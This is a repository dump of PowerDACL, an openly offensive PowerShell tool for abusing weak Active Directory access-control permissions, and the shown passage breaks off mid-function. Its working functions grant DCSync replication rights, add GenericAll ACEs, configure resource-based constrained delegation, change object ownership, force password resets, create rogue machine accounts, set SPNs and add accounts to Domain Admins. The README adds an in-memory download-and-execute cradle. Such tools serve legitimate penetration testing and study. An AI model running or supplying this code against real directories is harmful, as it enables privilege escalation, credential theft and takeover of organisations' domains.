├── README.md └── PowerDACL.ps1 /README.md: -------------------------------------------------------------------------------- 1 | # PowerDACL 2 | A tool to abuse weak permissions of Active Directory Discretionary Access Control Lists (DACLs) and Access Control Entries (ACEs) 3 | 4 | ## Load PowerDACL in memory 5 | 6 | ``` 7 | iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/Leo4j/PowerDACL/main/PowerDACL.ps1') 8 | ``` 9 | 10 | ## Help Page 11 | ``` 12 | PowerDACL 13 | ``` 14 | 15 | ## Grant DCSync rights 16 | ``` 17 | DCSync -Target username -TargetDomain ferrari.local -TargetServer dc01.ferrari.local 18 | ``` 19 | 20 | ## Grant GenericAll rights 21 | ``` 22 | GenericAll -Target MSSQL01$ -TargetDomain ferrari.local -TargetServer dc01.ferrari.local -Grantee username 23 | ``` 24 | ``` 25 | GenericAll -Target MSSQL01$ -TargetDomain ferrari.local -TargetServer dc01.ferrari.local -Grantee username -GranteeDomain domain.local -GranteeServer dc02.domain.local 26 | ``` 27 | 28 | ## Set RBCD: 29 | ``` 30 | RBCD -Target MSSQL01$ -TargetDomain ferrari.local -TargetServer dc01.ferrari.local -Grantee username 31 | ``` 32 | ``` 33 | RBCD -Target MSSQL01$ -TargetDomain ferrari.local -TargetServer dc01.ferrari.local -Grantee username -GranteeDomain domain.local -GranteeServer dc02.domain.local 34 | ``` 35 | ``` 36 | RBCD -Clear -Target MSSQL01$ -TargetDomain ferrari.local -TargetServer dc01.ferrari.local 37 | ``` 38 | 39 | ## Add Computer to domain 40 | ``` 41 | AddComputer -ComputerName evilcomputer -Password P@ssw0rd! -Domain ferrari.local -Server dc01.ferrari.local 42 | ``` 43 | ``` 44 | AddComputer -ComputerName evilcomputer -Domain ferrari.local -Server dc01.ferrari.local 45 | ``` 46 | 47 | ## Delete Computer from domain 48 | ``` 49 | DeleteComputer -ComputerName evilcomputer -Domain ferrari.local -Server dc01.ferrari.local 50 | ``` 51 | 52 | ## Force Change Password 53 | ``` 54 | ForceChangePass -Target username -Password P@ssw0rd! -TargetDomain ferrari.local -TargetServer dc01.ferrari.local 55 | ``` 56 | 57 | ## Set SPN: 58 | ``` 59 | SetSPN -Target username -TargetDomain ferrari.local -TargetServer dc01.ferrari.local 60 | ``` 61 | ``` 62 | SetSPN -Target username -TargetDomain ferrari.local -TargetServer dc01.ferrari.local -SPN "test/test" 63 | ``` 64 | 65 | ## Remove SPN: 66 | ``` 67 | RemoveSPN -Target username -TargetDomain ferrari.local -TargetServer dc01.ferrari.local 68 | ``` 69 | 70 | ## Set Owner 71 | ``` 72 | SetOwner -Target MSSQL01$ -TargetDomain ferrari.local -TargetServer dc01.ferrari.local -Owner username 73 | ``` 74 | ``` 75 | SetOwner -Target MSSQL01$ -TargetDomain ferrari.local -TargetServer dc01.ferrari.local -Owner username -OwnerDomain domain.local -OwnerServer dc02.domain.local 76 | ``` 77 | 78 | ## Enable Account 79 | ``` 80 | EnableAccount -Target myComputer$ -Domain ferrari.local -Server dc01.ferrari.local 81 | ``` 82 | 83 | ## Disable Account 84 | ``` 85 | DisableAccount -Target myComputer$ -Domain ferrari.local -Server dc01.ferrari.local 86 | ``` 87 | 88 | ## Add object to a group 89 | ``` 90 | AddToGroup -Target user -TargetDomain ferrari.local -TargetServer dc01.ferrari.local -Group "Domain Admins" 91 | ``` 92 | ``` 93 | AddToGroup -Target user -TargetDomain ferrari.local -TargetServer dc01.ferrari.local -Group "Domain Admins" -GroupDomain domain.local -GroupServer dc02.domain.local 94 | ``` 95 | 96 | ## Remove object from a group 97 | ``` 98 | RemoveFromGroup -Target user -TargetDomain ferrari.local -TargetServer dc01.ferrari.local -Group "Domain Admins" 99 | ``` 100 | ``` 101 | RemoveFromGroup -Target user -TargetDomain ferrari.local -TargetServer dc01.ferrari.local -Group "Domain Admins" -GroupDomain domain.local -GroupServer dc02.domain.local 102 | ``` 103 | 104 | ## Modify or clear a property for an object 105 | ``` 106 | Set-DomainObject -Identity user -Set @{'userprincipalname' = "user@domain.com"} 107 | ``` 108 | ``` 109 | Set-DomainObject -Identity user -Clear 'userprincipalname' 110 | ``` 111 | 112 | ## Shadow Credentials 113 | 114 | https://github.com/Leo4j/KeyCredentialLink 115 | -------------------------------------------------------------------------------- /PowerDACL.ps1: -------------------------------------------------------------------------------- 1 | function PowerDACL{ 2 | 3 | <# 4 | 5 | .SYNOPSIS 6 | PowerDACL | Author: Rob LP (@L3o4j) 7 | https://github.com/Leo4j/PowerDACL 8 | 9 | .DESCRIPTION 10 | A tool to abuse weak permissions of Active Directory Discretionary Access Control Lists (DACLs) and Access Control Entries (ACEs) 11 | 12 | #> 13 | 14 | Write-Output " " 15 | Write-Output " PowerDACL | Author: Rob LP (@L3o4j)" 16 | Write-Output " " 17 | Write-Output " https://github.com/Leo4j/PowerDACL" 18 | Write-Output " " 19 | Write-Output " A tool to abuse weak permissions of Active Directory Discretionary Access Control Lists (DACLs) and Access Control Entries (ACEs)" 20 | Write-Output " " 21 | Write-Output " Grant DCSync rights:" 22 | Write-Output " DCSync -Target username -TargetDomain ferrari.local -TargetServer dc01.ferrari.local" 23 | Write-Output " " 24 | Write-Output " Grant GenericAll rights:" 25 | Write-Output " GenericAll -Target MSSQL01$ -TargetDomain ferrari.local -TargetServer dc01.ferrari.local -Grantee username" 26 | Write-Output " GenericAll -Target MSSQL01$ -TargetDomain ferrari.local -TargetServer dc01.ferrari.local -Grantee username -GranteeDomain domain.local -GranteeServer dc02.domain.local" 27 | Write-Output " " 28 | Write-Output " Set RBCD:" 29 | Write-Output " RBCD -Target MSSQL01$ -TargetDomain ferrari.local -TargetServer dc01.ferrari.local -Grantee username" 30 | Write-Output " RBCD -Target MSSQL01$ -TargetDomain ferrari.local -TargetServer dc01.ferrari.local -Grantee username -GranteeDomain domain.local -GranteeServer dc02.domain.local" 31 | Write-Output " RBCD -Clear -Target MSSQL01$ -TargetDomain ferrari.local -TargetServer dc01.ferrari.local" 32 | Write-Output " " 33 | Write-Output " Add Computer to domain:" 34 | Write-Output " AddComputer -ComputerName evilcomputer -Password P@ssw0rd! -Domain ferrari.local -Server dc01.ferrari.local" 35 | Write-Output " AddComputer -ComputerName evilcomputer -Domain ferrari.local -Server dc01.ferrari.local" 36 | Write-Output " " 37 | Write-Output " Delete Computer from domain:" 38 | Write-Output " DeleteComputer -ComputerName evilcomputer -Domain ferrari.local -Server dc01.ferrari.local" 39 | Write-Output " " 40 | Write-Output " Force Change Password:" 41 | Write-Output " ForceChangePass -Target username -Password P@ssw0rd! -TargetDomain ferrari.local -TargetServer dc01.ferrari.local" 42 | Write-Output " " 43 | Write-Output " Set SPN:" 44 | Write-Output " SetSPN -Target username -TargetDomain ferrari.local -TargetServer dc01.ferrari.local" 45 | Write-Output " SetSPN -Target username -TargetDomain ferrari.local -TargetServer dc01.ferrari.local -SPN `"test/test`"" 46 | Write-Output " " 47 | Write-Output " Remove SPN:" 48 | Write-Output " RemoveSPN -Target username -TargetDomain ferrari.local -TargetServer dc01.ferrari.local" 49 | Write-Output " " 50 | Write-Output " Set Owner:" 51 | Write-Output " SetOwner -Target MSSQL01$ -TargetDomain ferrari.local -TargetServer dc01.ferrari.local -Owner username" 52 | Write-Output " SetOwner -Target MSSQL01$ -TargetDomain ferrari.local -TargetServer dc01.ferrari.local -Owner username -OwnerDomain domain.local -OwnerServer dc02.domain.local" 53 | Write-Output " " 54 | Write-Output " Enable Account:" 55 | Write-Output " EnableAccount -Target myComputer$ -Domain ferrari.local -Server dc01.ferrari.local" 56 | Write-Output " " 57 | Write-Output " Disable Account:" 58 | Write-Output " DisableAccount -Target myComputer$ -Domain ferrari.local -Server dc01.ferrari.local" 59 | Write-Output " " 60 | Write-Output " Add object to a group:" 61 | Write-Output " AddToGroup -Target user -TargetDomain ferrari.local -TargetServer dc01.ferrari.local -Group `"Domain Admins`"" 62 | Write-Output " AddToGroup -Target user -TargetDomain ferrari.local -TargetServer dc01.ferrari.local -Group `"Domain Admins`" -GroupDomain domain.local -GroupServer dc02.domain.local" 63 | Write-Output " " 64 | Write-Output " Remove object from a group:" 65 | Write-Output " RemoveFromGroup -Target user -TargetDomain ferrari.local -TargetServer dc01.ferrari.local -Group `"Domain Admins`"" 66 | Write-Output " RemoveFromGroup -Target user -TargetDomain ferrari.local -TargetServer dc01.ferrari.local -Group `"Domain Admins`" -GroupDomain domain.local -GroupServer dc02.domain.local" 67 | Write-Output " " 68 | } 69 | 70 | function DCSync { 71 | param ( 72 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 73 | [string]$Target, 74 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 75 | [string]$TargetDomain, 76 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 77 | [string]$TargetServer, 78 | [switch]$Remove 79 | ) 80 | 81 | $domainDN = $TargetDomain -replace '\.', ',DC=' 82 | $domainDN = "DC=$domainDN" 83 | 84 | try { 85 | $GrabObject = Get-ADSIObject -Domain $TargetDomain -Server $TargetServer -samAccountName $Target 86 | 87 | $ReplicationRightsGUIDs = @( 88 | '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', 89 | '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', 90 | '89e95b76-444d-4c62-991a-0facbeda640c' 91 | ) 92 | 93 | $GrabObjectSID = $GrabObject.objectsid 94 | 95 | $byteArray = @() 96 | foreach ($item in $GrabObjectSID) { 97 | if ($item -is [System.Byte[]]) { 98 | $byteArray += $item 99 | } else { 100 | $byteArray += [byte]$item 101 | } 102 | } 103 | 104 | $GrabObjectExtractedSID = GetSID-FromBytes -sidBytes $byteArray 105 | 106 | $GrabObjectSID = [System.Security.Principal.SecurityIdentifier]$GrabObjectExtractedSID 107 | 108 | $TargetEntry = [ADSI]"LDAP://$TargetServer/$domainDN" 109 | $TargetEntry.PsBase.Options.SecurityMasks = 'Dacl' 110 | $adSec = $TargetEntry.PsBase.ObjectSecurity 111 | $rawBytes = $adSec.GetSecurityDescriptorBinaryForm() 112 | if (-not $rawBytes) { throw "Couldn't retrieve nTSecurityDescriptor for $domainDN" } 113 | 114 | # — instantiate via reflection — 115 | $sdType = [System.Security.AccessControl.RawSecurityDescriptor] 116 | $ctor = $sdType.GetConstructor(@([byte[]],[int])) 117 | $sd = $ctor.Invoke(@($rawBytes, 0)) 118 | 119 | foreach ($GUID in $ReplicationRightsGUIDs) { 120 | # build the GUID object the same way you did before 121 | $RightGuidObj = New-Object Guid $GUID 122 | 123 | if ($Remove) { 124 | Write-Verbose "Removing replication rights from $Target." 125 | for ($i = $sd.DiscretionaryAcl.Count - 1; $i -ge 0; $i--) { 126 | $ace = $sd.DiscretionaryAcl[$i] 127 | if ($ace -is [System.Security.AccessControl.ObjectAce] ` 128 | -and $ace.SecurityIdentifier -eq $GrabObjectSID ` 129 | -and $ace.ObjectAceType -eq $RightGuidObj) { 130 | # <-- here’s the fix: 131 | $sd.DiscretionaryAcl.RemoveAce($i) 132 | } 133 | } 134 | } 135 | else { 136 | Write-Verbose "Granting replication right $GUID to $Target." 137 | $ace = New-Object System.Security.AccessControl.ObjectAce( 138 | [System.Security.AccessControl.AceFlags]::None, 139 | [System.Security.AccessControl.AceQualifier]::AccessAllowed, 140 | 0x100, 141 | $GrabObjectSID, 142 | [System.Security.AccessControl.ObjectAceFlags]::ObjectAceTypePresent, 143 | $RightGuidObj, 144 | [Guid]::Empty, 145 | $false, 146 | $null 147 | ) 148 | $sd.DiscretionaryAcl.InsertAce(0, $ace) 149 | } 150 | } 151 | 152 | # — serialise & write back — 153 | $newBytes = New-Object byte[] $sd.BinaryLength 154 | $sd.GetBinaryForm($newBytes, 0) 155 | $TargetEntry.Properties['nTSecurityDescriptor'].Value = $newBytes 156 | $TargetEntry.PsBase.CommitChanges() 157 | 158 | Write-Output "[+] Successfully updated DS-Replication rights for $Target" 159 | } catch { 160 | Write-Output "[-] Failed to update DS-Replication rights for $Target. Error: $_" 161 | } 162 | } 163 | 164 | function SetOwner { 165 | param ( 166 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 167 | [string]$Target, 168 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 169 | [string]$TargetDomain, 170 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 171 | [string]$TargetServer, 172 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 173 | [string]$Owner, 174 | [string]$OwnerDomain, 175 | [string]$OwnerServer 176 | ) 177 | 178 | if(!$OwnerDomain){$OwnerDomain = $TargetDomain} 179 | if(!$OwnerServer){$OwnerServer = $TargetServer} 180 | 181 | try { 182 | $GrabObject = Get-ADSIObject -Domain $TargetDomain -Server $TargetServer -samAccountName $Target 183 | $GrabObjectDN = $GrabObject.distinguishedname 184 | 185 | $GrabOwner = Get-ADSIObject -Domain $OwnerDomain -Server $OwnerServer -samAccountName $Owner 186 | $OwnerSID = $GrabOwner.objectsid 187 | 188 | $byteArray = @() 189 | foreach ($item in $OwnerSID) { 190 | if ($item -is [System.Byte[]]) { 191 | $byteArray += $item 192 | } else { 193 | $byteArray += [byte]$item 194 | } 195 | } 196 | $OwnerExtractedSID = GetSID-FromBytes -sidBytes $byteArray 197 | 198 | $TargetEntry = [ADSI]"LDAP://$TargetServer/$($GrabObjectDN)" 199 | $TargetEntry.PsBase.Options.SecurityMasks = 'Owner' 200 | $ObjectSecurity = $TargetEntry.PsBase.ObjectSecurity 201 | 202 | $NewOwner = New-Object System.Security.Principal.SecurityIdentifier($OwnerExtractedSID) 203 | $ObjectSecurity.SetOwner($NewOwner) 204 | Write-Verbose "Set new owner to $Owner for $Target." 205 | 206 | $TargetEntry.PsBase.ObjectSecurity = $ObjectSecurity 207 | $TargetEntry.PsBase.CommitChanges() 208 | Write-Output "[+] Successfully set $Owner as the owner of $Target." 209 | } catch { 210 | Write-Output "[-] Failed to set owner for $Target to $Owner. Error: $_" 211 | } 212 | } 213 | 214 | function GenericAll { 215 | param ( 216 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 217 | [string]$Target, 218 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 219 | [string]$TargetDomain, 220 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 221 | [string]$TargetServer, 222 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 223 | [string]$Grantee, 224 | [string]$GranteeDomain, 225 | [string]$GranteeServer 226 | ) 227 | 228 | if(!$GranteeDomain){$GranteeDomain = $TargetDomain} 229 | if(!$GranteeServer){$GranteeServer = $TargetServer} 230 | 231 | $GrabObject = Get-ADSIObject -Domain $TargetDomain -Server $TargetServer -samAccountName $Target 232 | $GrabObjectDN = $GrabObject.distinguishedname 233 | 234 | $GrabGrantee = Get-ADSIObject -Domain $GranteeDomain -Server $GranteeServer -samAccountName $Grantee 235 | $GrabGranteeSID = $GrabGrantee.objectsid 236 | $byteArray = @() 237 | foreach ($item in $GrabGranteeSID) { 238 | if ($item -is [System.Byte[]]) { 239 | $byteArray += $item 240 | } else { 241 | $byteArray += [byte]$item 242 | } 243 | } 244 | $GranteeExtractedSID = GetSID-FromBytes -sidBytes $byteArray 245 | 246 | $TargetEntry = [ADSI]"LDAP://$TargetServer/$($GrabObjectDN)" 247 | $TargetEntry.PsBase.Options.SecurityMasks = 'Dacl' 248 | $ObjectSecurity = $TargetEntry.PsBase.ObjectSecurity 249 | 250 | $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule (([System.Security.Principal.IdentityReference]([System.Security.Principal.SecurityIdentifier]$GranteeExtractedSID)),[System.DirectoryServices.ActiveDirectoryRights]::GenericAll,[System.Security.AccessControl.AccessControlType]::Allow,[System.DirectoryServices.ActiveDirectorySecurityInheritance]::None) 251 | 252 | $ObjectSecurity.AddAccessRule($ACE) 253 | $TargetEntry.PsBase.ObjectSecurity = $ObjectSecurity 254 | try { 255 | $TargetEntry.PsBase.CommitChanges() 256 | Write-Output "[+] Successfully granted GenericAll to $Target for $Grantee" 257 | } 258 | catch {Write-Output "[-] Failed to grant GenericAll to $Target for $($Grantee): $_ `n"} 259 | } 260 | 261 | function ForceChangePass { 262 | param ( 263 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 264 | [string]$Target, 265 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 266 | [string]$TargetDomain, 267 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 268 | [string]$TargetServer, 269 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 270 | [string]$Password 271 | ) 272 | 273 | try{ 274 | $GrabObject = (Get-ADSIObject -Domain $TargetDomain -Server $TargetServer -samAccountName $Target).distinguishedname 275 | $user = [ADSI]"LDAP://$TargetServer/$($GrabObject)" 276 | $user.SetPassword($Password) 277 | Write-Output "[+] Successfully changed password for $Target" 278 | } catch { 279 | Write-Output "[-] Error while changing password for target: $_" 280 | } 281 | } 282 | 283 | function SetSPN { 284 | param ( 285 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 286 | [string]$Target, 287 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 288 | [string]$TargetDomain, 289 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 290 | [string]$TargetServer, 291 | [string]$SPN = "fake/fake" 292 | ) 293 | 294 | try{ 295 | $GrabObject = (Get-ADSIObject -Domain $TargetDomain -Server $TargetServer -samAccountName $Target).distinguishedname 296 | $user = [ADSI]"LDAP://$TargetServer/$($GrabObject)" 297 | $user.Put("servicePrincipalName", $SPN); $user.SetInfo() 298 | Write-Output "[+] Successfully added SPN $SPN to $Target" 299 | } catch { 300 | Write-Output "[-] Error occurred while adding SPN to target: $_" 301 | } 302 | } 303 | 304 | function RemoveSPN { 305 | param ( 306 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 307 | [string]$Target, 308 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 309 | [string]$TargetDomain, 310 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 311 | [string]$TargetServer 312 | ) 313 | 314 | try{ 315 | $GrabObject = (Get-ADSIObject -Domain $TargetDomain -Server $TargetServer -samAccountName $Target).distinguishedname 316 | $user = [ADSI]"LDAP://$TargetServer/$($GrabObject)" 317 | $existingSPNs = $user.Properties["servicePrincipalName"] 318 | 319 | if ($existingSPNs.Count -gt 0) { 320 | $user.Properties["servicePrincipalName"].Clear() 321 | $user.SetInfo() 322 | Write-Output "[+] Successfully removed SPNs from $Target" 323 | } 324 | 325 | else { 326 | Write-Output "[-] No SPNs found for $Target" 327 | } 328 | } catch { 329 | Write-Output "[-] Error occurred while removing SPN from target: $_" 330 | } 331 | } 332 | 333 | function EnableAccount { 334 | param ( 335 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 336 | [string]$Target, 337 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 338 | [string]$Domain, 339 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 340 | [string]$Server 341 | ) 342 | 343 | $domainDN = $Domain -replace '\.', ',DC=' 344 | $domainDN = "DC=$domainDN" 345 | 346 | try { 347 | 348 | if (-not $Target.EndsWith('$')) { 349 | $account = ([ADSI]"LDAP://$Server/CN=$Target,CN=Users,$domainDN") 350 | } 351 | 352 | else{ 353 | $Target = $Target -replace '\$','' 354 | $account = ([ADSI]"LDAP://$Server/CN=$Target,CN=Computers,$domainDN") 355 | } 356 | 357 | $uac = $account.Properties["userAccountControl"][0] 358 | 359 | if($uac -eq '4096'){Write-Output "[*] Account is already enabled"} 360 | 361 | else{ 362 | $newUac = $uac -band -3 363 | $account.Put("userAccountControl", $newUac) 364 | $account.SetInfo() 365 | Write-Output "[+] Successfully enabled account $Target" 366 | } 367 | } catch { 368 | Write-Output "[-] Error occurred while enabling account $($Target): $_" 369 | } 370 | } 371 | 372 | function DisableAccount { 373 | param ( 374 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 375 | [string]$Target, 376 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 377 | [string]$Domain, 378 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 379 | [string]$Server 380 | ) 381 | 382 | $domainDN = $Domain -replace '\.', ',DC=' 383 | $domainDN = "DC=$domainDN" 384 | 385 | try { 386 | if (-not $Target.EndsWith('$')) { 387 | $account = ([ADSI]"LDAP://$Server/CN=$Target,CN=Users,$domainDN") 388 | } 389 | 390 | else{ 391 | $Target = $Target -replace '\$','' 392 | $account = ([ADSI]"LDAP://$Server/CN=$Target,CN=Computers,$domainDN") 393 | } 394 | 395 | $uac = $account.Properties["userAccountControl"][0] 396 | 397 | if($uac -eq '4098'){Write-Output "[*] Account is already disabled"} 398 | 399 | else{ 400 | $newUac = $uac -bor 2 401 | $account.Put("userAccountControl", $newUac) 402 | $account.SetInfo() 403 | Write-Output "[+] Successfully disabled account $Target" 404 | } 405 | } catch { 406 | Write-Output "[-] Error occurred while disabling account $($Target): $_" 407 | } 408 | } 409 | 410 | function AddComputer { 411 | [CmdletBinding()] 412 | param ( 413 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 414 | [string]$ComputerName, 415 | [Parameter (Mandatory=$False)] 416 | [string]$Password, 417 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 418 | [string]$Domain, 419 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 420 | [string]$Server 421 | ) 422 | 423 | try { 424 | # Handle password 425 | if(!$Password){ 426 | $Password = -join ((33..126) | Get-Random -Count 16 | ForEach-Object {[char]$_}) 427 | Write-Verbose "[*] No password provided. Generated: $Password" 428 | } 429 | 430 | $quotedPassword = '"' + $Password + '"' 431 | $unicodePwd = [System.Text.Encoding]::Unicode.GetBytes($quotedPassword) 432 | 433 | # Build DN 434 | $domainDN = "DC=" + ($Domain -replace '\.', ',DC=') 435 | $distinguishedName = "CN=$ComputerName,CN=Computers,$domainDN" 436 | 437 | $samAccountName = "$ComputerName$" 438 | $dnsHostName = "$ComputerName.$Domain" 439 | $spns = @( 440 | "HOST/$dnsHostName", 441 | "RestrictedKrbHost/$dnsHostName", 442 | "HOST/$ComputerName", 443 | "RestrictedKrbHost/$ComputerName" 444 | ) 445 | 446 | # Load assembly 447 | Add-Type -AssemblyName System.DirectoryServices.Protocols 448 | 449 | $identifier = New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($Server, 389) 450 | $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier) 451 | 452 | $connection.SessionOptions.Sealing = $true 453 | $connection.SessionOptions.Signing = $true 454 | $connection.Bind() 455 | 456 | $request = New-Object System.DirectoryServices.Protocols.AddRequest 457 | $request.DistinguishedName = $distinguishedName 458 | $request.Attributes.Add((New-Object System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"))) | Out-Null 459 | $request.Attributes.Add((New-Object System.DirectoryServices.Protocols.DirectoryAttribute("sAMAccountName", $samAccountName))) | Out-Null 460 | $request.Attributes.Add((New-Object System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"))) | Out-Null 461 | $request.Attributes.Add((New-Object System.DirectoryServices.Protocols.DirectoryAttribute("dNSHostName", $dnsHostName))) | Out-Null 462 | $request.Attributes.Add((New-Object System.DirectoryServices.Protocols.DirectoryAttribute("servicePrincipalName", $spns))) | Out-Null 463 | $request.Attributes.Add((New-Object System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", $unicodePwd))) | Out-Null 464 | 465 | $connection.SendRequest($request) | Out-Null 466 | 467 | Write-Output "[+] Successfully added computer $ComputerName to the domain with password $Password" 468 | } 469 | catch { 470 | Write-Output "[-] Error occurred while adding computer $ComputerName to domain: $_" 471 | } 472 | } 473 | 474 | function DeleteComputer { 475 | param ( 476 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 477 | [string]$ComputerName, 478 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 479 | [string]$Domain, 480 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 481 | [string]$Server 482 | ) 483 | 484 | $domainDN = $Domain -replace '\.', ',DC=' 485 | $domainDN = "DC=$domainDN" 486 | 487 | try{ 488 | 489 | $computersContainer = [ADSI]"LDAP://$Server/CN=Computers,$domainDN" 490 | 491 | if (-not $ComputerName.EndsWith('$')) {$ComputerName += '$'} 492 | 493 | $computerObject = (Get-ADSIObject -Domain $Domain -Server $Server -samAccountName $ComputerName).distinguishedname 494 | 495 | $computerObject = ($computerObject -split ",")[0] 496 | 497 | if ($computerObject -ne $null) { 498 | $computersContainer.Delete("Computer", "$computerObject") 499 | Write-Output "[+] Successfully deleted computer $ComputerName from the domain" 500 | } else { 501 | Write-Output "[*] Computer $ComputerName does not exist in the domain" 502 | } 503 | } 504 | 505 | catch { 506 | Write-Output "[-] Error occurred while removing computer $ComputerName from domain: $_" 507 | } 508 | } 509 | 510 | function AddToGroup { 511 | param ( 512 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 513 | [string]$Target, 514 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 515 | [string]$TargetDomain, 516 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 517 | [string]$TargetServer, 518 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 519 | [string]$Group, 520 | [string]$GroupDomain, 521 | [string]$GroupServer 522 | ) 523 | 524 | if(!$GroupDomain){$GroupDomain = $TargetDomain} 525 | if(!$GroupServer){$GroupServer = $TargetServer} 526 | 527 | $GrabObject = (Get-ADSIObject -Domain $TargetDomain -Server $TargetServer -samAccountName $Target).distinguishedname 528 | 529 | $GrabGroup = (Get-ADSIObject -Domain $GroupDomain -Server $GroupServer -samAccountName $Group).distinguishedname 530 | 531 | try{ 532 | ([ADSI]"LDAP://$GroupServer/$($GrabGroup)").Add("LDAP://$TargetServer/$($GrabObject)") 533 | Write-Output "[+] Successfully added $Target to group $Group" 534 | } catch { 535 | Write-Output "[-] Error occurred while adding $Target to $($Group): $_" 536 | } 537 | } 538 | 539 | function RemoveFromGroup { 540 | param ( 541 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 542 | [string]$Target, 543 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 544 | [string]$TargetDomain, 545 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 546 | [string]$TargetServer, 547 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 548 | [string]$Group, 549 | [string]$GroupDomain, 550 | [string]$GroupServer 551 | ) 552 | 553 | if(!$GroupDomain){$GroupDomain = $TargetDomain} 554 | if(!$GroupServer){$GroupServer = $TargetServer} 555 | 556 | $GrabObject = (Get-ADSIObject -Domain $TargetDomain -Server $TargetServer -samAccountName $Target).distinguishedname 557 | 558 | $GrabGroup = (Get-ADSIObject -Domain $GroupDomain -Server $GroupServer -samAccountName $Group).distinguishedname 559 | 560 | try{ 561 | ([ADSI]"LDAP://$GroupServer/$($GrabGroup)").Remove("LDAP://$TargetServer/$($GrabObject)") 562 | Write-Output "[+] Successfully removed $Target from group $Group" 563 | } catch { 564 | Write-Output "[-] Error occurred while removing $Target from $($Group): $_" 565 | } 566 | } 567 | 568 | function RBCD { 569 | param ( 570 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 571 | [string]$Target, 572 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 573 | [string]$TargetDomain, 574 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 575 | [string]$TargetServer, 576 | [string]$Grantee, 577 | [string]$GranteeDomain, 578 | [string]$GranteeServer, 579 | [switch]$Clear 580 | ) 581 | 582 | if(!$GranteeDomain){$GranteeDomain = $TargetDomain} 583 | if(!$GranteeServer){$GranteeServer = $TargetServer} 584 | 585 | if(!$Grantee -AND !$Clear){ 586 | Write-Output "[-] Please provide a Grantee" 587 | break 588 | } 589 | 590 | if($Clear){ 591 | Set-DomainObject -Identity $Target -Domain $TargetDomain -Server $TargetServer -Clear @('msDS-AllowedToActOnBehalfOfOtherIdentity') 592 | break 593 | } 594 | 595 | $extractedRawSID = (Get-ADSIObject -Domain $GranteeDomain -Server $GranteeServer -samAccountName $Grantee).objectsid 596 | 597 | $byteArray = @() 598 | 599 | foreach ($item in $extractedRawSID) { 600 | if ($item -is [System.Byte[]]) { 601 | $byteArray += $item 602 | } else { 603 | $byteArray += [byte]$item 604 | } 605 | } 606 | 607 | $extractedSID = GetSID-FromBytes -sidBytes $byteArray 608 | 609 | $rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$extractedSID)" 610 | 611 | $rsdb = New-Object byte[] ($rsd.BinaryLength) 612 | 613 | $rsd.GetBinaryForm($rsdb, 0) 614 | 615 | Set-DomainObject -Identity $Target -Domain $TargetDomain -Server $TargetServer -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $rsdb} 616 | } 617 | 618 | function Set-DomainObject { 619 | param ( 620 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 621 | [string]$Identity, 622 | [hashtable]$Set = @{}, 623 | [string[]]$Clear = @(), 624 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 625 | [string]$Domain, 626 | [Parameter (Mandatory=$True, ValueFromPipeline=$true)] 627 | [string]$Server 628 | ) 629 | 630 | if($Set -AND $Clear){ 631 | Write-Output "[-] Please use either Set OR Clear" 632 | break 633 | } 634 | 635 | elseif(!$Set -AND !$Clear){ 636 | Write-Output "[-] Please specify a Set OR Clear action" 637 | break 638 | } 639 | 640 | function Set-Values { 641 | param ( 642 | [ADSI]$Entry, 643 | [hashtable]$Set 644 | ) 645 | 646 | foreach ($key in $Set.Keys) { 647 | $value = $Set[$key] 648 | Write-Output "[+] Setting $key to $value for $($Entry.sAMAccountName)" 649 | try { 